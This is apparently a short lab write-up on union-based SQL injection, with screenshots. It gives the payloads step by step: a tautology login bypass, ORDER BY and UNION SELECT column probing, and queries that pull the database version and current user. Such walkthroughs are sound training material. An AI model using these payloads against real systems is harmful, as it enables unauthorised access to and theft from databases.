---
description: April 17, 2024
---

# Union Injection

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fen2qOzTqaAcNaoyMRqfZ%2Fimage.png?alt=media&#x26;token=03d8afe0-d8b9-4a54-9250-09f7341e78cc" alt=""><figcaption></figcaption></figure>

First we need to visit the page

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FMyhOYgZQRBCaEKsbPNcs%2Fimage.png?alt=media&#x26;token=4e9648d2-430c-470d-9878-95b0b654acfa" alt=""><figcaption></figcaption></figure>

Then we will try the classic sql injection that will return everything

```
' or 1=1;-- -
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FEx4zYyquHVwZ6e1fRO72%2Fimage.png?alt=media&#x26;token=6fd195f7-78c3-4db9-ac75-dd24dcaa8e7b" alt=""><figcaption></figcaption></figure>

Then try just to evaluate the correct number of columns in the table.

We can see here we used the union and order by to determine that there is only 4 columns in the table.

```
' UNION SELECT 1,2,3,4-- -
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F6sUpJgXTWnsL4kSn292A%2Fimage.png?alt=media&#x26;token=8db78c39-bcd5-4f3b-b425-a7158e4429af" alt=""><figcaption></figcaption></figure>

```
' ORDER BY 4-- -
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F5jIgyZG6jctjEYU2HFU0%2Fimage.png?alt=media&#x26;token=2b18cca2-2fe6-488b-8c3f-a4b9c5fcc86b" alt=""><figcaption></figcaption></figure>

```
' UNION SELECT 1,@@version,3,4-- -
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FyDyTHIyayK2FJaFAREuo%2Fimage.png?alt=media&#x26;token=8c010360-61b6-4e9d-be69-ed1f8fe7c35f" alt=""><figcaption></figcaption></figure>

```
' UNION select 1,user(),3,4-- -
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fa0wcAmQSzZgAyBBvrTF1%2Fimage.png?alt=media&#x26;token=2abebb3e-f350-437f-85e8-8ab8f84df05f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FxOYFZKNyMXbBx5s5eDcS%2Fimage.png?alt=media&#x26;token=0f3c110d-f038-48e0-a523-1f0726996a4d" alt=""><figcaption></figcaption></figure>
